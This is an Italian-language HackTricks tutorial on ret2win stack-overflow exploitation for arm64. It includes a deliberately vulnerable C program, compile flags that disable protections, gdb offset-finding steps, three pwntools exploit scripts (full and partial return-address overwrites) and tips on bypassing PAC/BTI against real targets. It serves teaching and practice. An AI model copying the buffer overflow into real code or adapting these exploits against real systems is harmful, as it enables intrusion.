Ret2win - arm64

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Trova un'introduzione all'arm64 in:

Introduction to ARM64v8

Codice

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilare senza pie e canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Il flag aggiuntivo -mbranch-protection=none disabilita AArch64 Branch Protection (PAC/BTI). Se la tua toolchain abilita PAC o BTI per default, questo mantiene il laboratorio riproducibile. Per verificare se un binario compilato usa PAC/BTI puoi:
  • Cerca le proprietà GNU per AArch64:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Ispeziona prologhi/epiloghi per paciasp/autiasp (PAC) o per landing pad bti c (BTI):
  • objdump -d ret2win | head -n 40

Fatti rapidi sulla convenzione di chiamata AArch64

  • Il link register è x30 (alias lr), e le funzioni tipicamente salvano x29/x30 con stp x29, x30, [sp, #-16]! e li ripristinano con ldp x29, x30, [sp], #16; ret.
  • Questo significa che l'indirizzo di ritorno salvato si trova a sp+8 relativo alla base del frame. Con un char buffer[64] posizionato sotto, la distanza tipica per sovrascrivere il saved x30 è 64 (buffer) + 8 (x29 salvato) = 72 byte — esattamente quello che troveremo più avanti.
  • Lo stack pointer deve rimanere allineato a 16 byte ai confini di funzione. Se costruisci ROP chains successivamente per scenari più complessi, mantieni l'allineamento dello SP oppure potresti andare in crash sugli epiloghi di funzione.

Trovare l'offset

Opzione pattern

Questo esempio è stato creato usando GEF:

Avvia gdb con gef, crea il pattern e usalo:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 tenterà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare il pattern offset:

bash
pattern search $x30

L'offset è 72 (9x48).

Opzione offset dello stack

Inizia ottenendo l'indirizzo dello stack dove è memorizzato il registro pc:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Ora imposta un breakpoint dopo la read() e usa continue fino a quando la read() viene eseguita, quindi imposta un pattern come 13371337:

b *vulnerable_function+28
c

Trova dove questo pattern è memorizzato in memoria:

Quindi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Normale

Ottieni l'indirizzo della funzione win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

In realtà sarà più come un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutto il return address andremo a sovrascrivere solo gli ultimi 2 byte con 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.

Con PIE

tip

Compila il binario senza l'argomento -no-pie

Off-by-2

Senza un leak non conosciamo l'indirizzo esatto della win function, ma possiamo conoscere l'offset della funzione rispetto al binario e, sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile effettuare un leak dell'offset verso la win function (0x7d4) in questo caso e usare semplicemente quell'offset:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Note sull'hardening AArch64 moderno (PAC/BTI) e ret2win

  • Se il binario è compilato con AArch64 Branch Protection, potresti vedere paciasp/autiasp o bti c emessi nei prologhi/epiloghi delle funzioni. In tal caso:
  • Il ritorno verso un indirizzo che non è un BTI landing pad valido può causare un SIGILL. È preferibile mirare all'esatta entry della funzione che contiene bti c.
  • Se PAC è abilitato per i ritorni, semplici sovrascritture dell'indirizzo di ritorno possono fallire perché l'epilogo autentica x30. Per scenari di apprendimento, ricompila con -mbranch-protection=none (mostrato sopra). Quando attacchi bersagli reali, preferisci hijack non basati su return (ad es., sovrascritture di function pointer) o costruisci ROP che non esegua mai una coppia autiasp/ret che autentichi il tuo LR contraffatto.
  • Per verificare rapidamente le caratteristiche:
  • readelf --notes -W ./ret2win e cerca le note AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 e cerca bti c, paciasp, autiasp.

Esecuzione su host non‑ARM64 (consiglio rapido qemu‑user)

Se sei su x86_64 ma vuoi esercitarti con AArch64:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Pagine correlate di HackTricks

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Riferimenti

  • Abilitare PAC e BTI su AArch64 per Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard delle chiamate di procedura per l'architettura Arm a 64 bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks